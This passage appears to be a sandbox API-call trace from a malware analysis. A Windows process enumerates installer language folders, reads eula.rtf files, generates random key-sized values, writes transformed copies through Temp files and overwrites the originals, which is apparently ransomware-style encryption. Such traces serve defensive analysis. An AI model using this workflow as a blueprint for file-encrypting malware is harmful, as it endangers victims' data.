	[0236.013] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1030\\setupresources.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758)) returned 1
	[0236.014] WriteFile (in: hFile=0x0, lpBuffer=0xc0000986e0, nNumberOfBytesToWrite=0x48, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0236.014] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x2a63c702, ftLastWriteTime.dwHighDateTime=0x1d6dd3b, nFileSizeHigh=0x0, nFileSizeLow=0xdf2)) returned 1
	[0236.014] WriteFile (in: hFile=0x0, lpBuffer=0xc0000986e0, nNumberOfBytesToWrite=0x3e, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0236.014] WriteFile (in: hFile=0x0, lpBuffer=0xc0000986e0, nNumberOfBytesToWrite=0x2d, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0236.014] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1031" (normalized: "c:\\588bce7c90097ed212\\1031"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0236.015] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031" (normalized: "c:\\588bce7c90097ed212\\1031"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.015] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd8e0
	[0236.016] VirtualAlloc (lpAddress=0xc00012a000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00012a000
	[0236.016] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0236.017] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x2a691f4f, ftLastWriteTime.dwHighDateTime=0x1d6dd3b, nFileSizeHigh=0x0, nFileSizeLow=0xe5b, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0236.017] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x141aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0236.017] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0236.017] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0236.017] FindClose (in: hFindFile=0x192c63cd8e0 | out: hFindFile=0x192c63cd8e0) returned 1
	[0236.017] WriteFile (in: hFile=0x0, lpBuffer=0xc0000986e0, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0236.017] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1031\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x141aa)) returned 1
	[0236.017] WriteFile (in: hFile=0x0, lpBuffer=0xc0000986e0, nNumberOfBytesToWrite=0x47, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0236.018] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1031\\setupresources.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4958)) returned 1
	[0236.026] WriteFile (in: hFile=0x0, lpBuffer=0xc0000986e0, nNumberOfBytesToWrite=0x48, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0236.027] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x2a691f4f, ftLastWriteTime.dwHighDateTime=0x1d6dd3b, nFileSizeHigh=0x0, nFileSizeLow=0xe5b)) returned 1
	[0236.027] WriteFile (in: hFile=0x0, lpBuffer=0xc0000986e0, nNumberOfBytesToWrite=0x3e, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0236.027] WriteFile (in: hFile=0x0, lpBuffer=0xc0000986e0, nNumberOfBytesToWrite=0x2d, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0236.027] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1032" (normalized: "c:\\588bce7c90097ed212\\1032"), fInfoLevelId=0x0, lpFileInformation=0xc000031a18 | out: lpFileInformation=0xc000031a18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37db23a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0236.028] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032" (normalized: "c:\\588bce7c90097ed212\\1032"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0236.029] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\*", lpFindFileData=0xc0000317d0 | out: lpFindFileData=0xc0000317d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x192c63cd8e0
	[0236.029] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0236.029] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x2a73f476, ftLastWriteTime.dwHighDateTime=0x1d6dd3b, nFileSizeHigh=0x0, nFileSizeLow=0x23ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1
	[0236.029] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1510c, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1
	[0236.029] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1
	[0236.029] FindNextFileW (in: hFindFile=0x192c63cd8e0, lpFindFileData=0xc000031800 | out: lpFindFileData=0xc000031800*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0236.030] FindClose (in: hFindFile=0x192c63cd8e0 | out: hFindFile=0x192c63cd8e0) returned 1
	[0236.030] WriteFile (in: hFile=0x0, lpBuffer=0xc0000986e0, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000319cc, lpOverlapped=0x0) returned 0
	[0236.030] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1032\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x1510c)) returned 1
	[0236.030] WriteFile (in: hFile=0x0, lpBuffer=0xc0000986e0, nNumberOfBytesToWrite=0x47, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0236.030] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1032\\setupresources.dll"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4b58)) returned 1
	[0236.031] WriteFile (in: hFile=0x0, lpBuffer=0xc0000986e0, nNumberOfBytesToWrite=0x48, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0236.031] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf"), fInfoLevelId=0x0, lpFileInformation=0xc000031940 | out: lpFileInformation=0xc000031940*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x2a73f476, ftLastWriteTime.dwHighDateTime=0x1d6dd3b, nFileSizeHigh=0x0, nFileSizeLow=0x23ac)) returned 1
	[0236.032] WriteFile (in: hFile=0x0, lpBuffer=0xc0000986e0, nNumberOfBytesToWrite=0x3e, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0236.032] WriteFile (in: hFile=0x0, lpBuffer=0xc0000986e0, nNumberOfBytesToWrite=0x2d, lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0000318f4, lpOverlapped=0x0) returned 0
	[0236.032] WriteFile (in: hFile=0x0, lpBuffer=0xc0000986e0, nNumberOfBytesToWrite=0x32, lpNumberOfBytesWritten=0xc0001a5d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001a5d94, lpOverlapped=0x0) returned 0
	[0236.033] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x84, lpNumberOfBytesWritten=0xc0001a5d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001a5d94, lpOverlapped=0x0) returned 0
	[0236.033] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x190
	[0236.033] GetConsoleMode (in: hConsoleHandle=0x190, lpMode=0xc0001a5bf4 | out: lpMode=0xc0001a5bf4) returned 0
	[0236.033] GetFileType (hFile=0x190) returned 0x1
	[0236.033] GetFileType (hFile=0x190) returned 0x1
	[0236.033] GetFileInformationByHandle (in: hFile=0x190, lpFileInformation=0xc0001a5c44 | out: lpFileInformation=0xc0001a5c44) returned 1
	[0236.033] GetFileInformationByHandleEx (in: hFile=0x190, FileInformationClass=0x9, lpFileInformation=0xc0001a5c28, dwBufferSize=0x8 | out: lpFileInformation=0xc0001a5c28) returned 1
	[0236.034] VirtualAlloc (lpAddress=0xc00012c000, dwSize=0x6000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00012c000
	[0236.035] ReadFile (in: hFile=0x190, lpBuffer=0xc00012c000, nNumberOfBytesToRead=0x105b, lpNumberOfBytesRead=0xc0001a5b04, lpOverlapped=0x0 | out: lpBuffer=0xc00012c000*, lpNumberOfBytesRead=0xc0001a5b04*=0xe5b, lpOverlapped=0x0) returned 1
	[0236.037] ReadFile (in: hFile=0x190, lpBuffer=0xc00012ce5b, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc0001a5b04, lpOverlapped=0x0 | out: lpBuffer=0xc00012ce5b*, lpNumberOfBytesRead=0xc0001a5b04*=0x0, lpOverlapped=0x0) returned 1
	[0236.037] CloseHandle (hObject=0x190) returned 1
	[0236.038] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc000093120 | out: pbBuffer=0xc000093120) returned 1
	[0236.038] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc000095080 | out: pbBuffer=0xc000095080) returned 1
	[0236.038] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc000082301 | out: pbBuffer=0xc000082301) returned 1
	[0236.039] VirtualAlloc (lpAddress=0xc000132000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000132000
	[0236.039] VirtualAlloc (lpAddress=0xc000134000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000134000
	[0236.040] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\333ed55ac951a2985a9a97b372398579" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\333ed55ac951a2985a9a97b372398579"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190
	[0236.040] GetConsoleMode (in: hConsoleHandle=0x190, lpMode=0xc0001a5c04 | out: lpMode=0xc0001a5c04) returned 0
	[0236.040] GetFileType (hFile=0x190) returned 0x1
	[0236.040] WriteFile (in: hFile=0x190, lpBuffer=0xc000134000*, nNumberOfBytesToWrite=0xf5b, lpNumberOfBytesWritten=0xc0001a5bec, lpOverlapped=0x0 | out: lpBuffer=0xc000134000*, lpNumberOfBytesWritten=0xc0001a5bec*=0xf5b, lpOverlapped=0x0) returned 1
	[0236.043] CloseHandle (hObject=0x190) returned 1
	[0236.044] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1031\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1031\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x190
	[0236.047] GetConsoleMode (in: hConsoleHandle=0x190, lpMode=0xc0001a5d74 | out: lpMode=0xc0001a5d74) returned 0
	[0236.047] GetFileType (hFile=0x190) returned 0x1
	[0236.047] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\333ed55ac951a2985a9a97b372398579" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\333ed55ac951a2985a9a97b372398579"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x194
	[0236.047] GetConsoleMode (in: hConsoleHandle=0x194, lpMode=0xc0001a5d74 | out: lpMode=0xc0001a5d74) returned 0
	[0236.047] GetFileType (hFile=0x194) returned 0x1
	[0236.047] VirtualAlloc (lpAddress=0xc000136000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000136000
	[0236.049] ReadFile (in: hFile=0x194, lpBuffer=0xc000136000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001a5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000136000*, lpNumberOfBytesRead=0xc0001a5bd4*=0xf5b, lpOverlapped=0x0) returned 1
	[0236.049] WriteFile (in: hFile=0x190, lpBuffer=0xc000136000*, nNumberOfBytesToWrite=0xf5b, lpNumberOfBytesWritten=0xc0001a5b74, lpOverlapped=0x0 | out: lpBuffer=0xc000136000*, lpNumberOfBytesWritten=0xc0001a5b74*=0xf5b, lpOverlapped=0x0) returned 1
	[0236.051] ReadFile (in: hFile=0x194, lpBuffer=0xc000136000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc0001a5bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000136000*, lpNumberOfBytesRead=0xc0001a5bd4*=0x0, lpOverlapped=0x0) returned 1
	[0236.051] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\333ed55ac951a2985a9a97b372398579" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\333ed55ac951a2985a9a97b372398579")) returned 0
	[0236.051] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\333ed55ac951a2985a9a97b372398579" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\333ed55ac951a2985a9a97b372398579")) returned 0
	[0236.051] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\333ed55ac951a2985a9a97b372398579" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\333ed55ac951a2985a9a97b372398579")) returned 0x20
	[0236.051] CloseHandle (hObject=0x194) returned 1
	[0236.052] CloseHandle (hObject=0x190) returned 1
	[0236.052] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\333ed55ac951a2985a9a97b372398579" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\333ed55ac951a2985a9a97b372398579")) returned 1
	[0236.085] WaitForSingleObject (hHandle=0xd4, dwMilliseconds=0xffffffff) returned 0x0
	[0236.091] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x32, lpNumberOfBytesWritten=0xc0001a5d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001a5d94, lpOverlapped=0x0) returned 0
	[0236.091] WriteFile (in: hFile=0x0, lpBuffer=0xc0000fc780, nNumberOfBytesToWrite=0x84, lpNumberOfBytesWritten=0xc0001a5d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001a5d94, lpOverlapped=0x0) returned 0
	[0236.091] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1032\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1032\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x174
	[0236.091] GetConsoleMode (in: hConsoleHandle=0x174, lpMode=0xc0001a5bf4 | out: lpMode=0xc0001a5bf4) returned 0
	[0236.091] GetFileType (hFile=0x174) returned 0x1
	[0236.092] GetFileType (hFile=0x174) returned 0x1
	[0236.092] GetFileInformationByHandle (in: hFile=0x174, lpFileInformation=0xc0001a5c44 | out: lpFileInformation=0xc0001a5c44) returned 1
	[0236.092] GetFileInformationByHandleEx (in: hFile=0x174, FileInformationClass=0x9, lpFileInformation=0xc0001a5c28, dwBufferSize=0x8 | out: lpFileInformation=0xc0001a5c28) returned 1
	[0236.092] VirtualAlloc (lpAddress=0xc00013e000, dwSize=0xc000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00013e000
	[0236.095] ReadFile (in: hFile=0x174, lpBuffer=0xc00013e000, nNumberOfBytesToRead=0x25ac, lpNumberOfBytesRead=0xc0001a5b04, lpOverlapped=0x0 | out: lpBuffer=0xc00013e000*, lpNumberOfBytesRead=0xc0001a5b04*=0x23ac, lpOverlapped=0x0) returned 1
	[0236.104] ReadFile (in: hFile=0x174, lpBuffer=0xc0001403ac, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc0001a5b04, lpOverlapped=0x0 | out: lpBuffer=0xc0001403ac*, lpNumberOfBytesRead=0xc0001a5b04*=0x0, lpOverlapped=0x0) returned 1
	[0236.105] CloseHandle (hObject=0x174) returned 1
	[0236.105] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc000093260 | out: pbBuffer=0xc000093260) returned 1
	[0236.105] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc000095160 | out: pbBuffer=0xc000095160) returned 1
	[0236.105] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc000082501 | out: pbBuffer=0xc000082501) returned 1
	[0236.105] VirtualAlloc (lpAddress=0xc00014a000, dwSize=0xe000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00014a000
	[0236.109] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\2e2586afcf5bd37215fe1e941522f969" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\2e2586afcf5bd37215fe1e941522f969"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x174
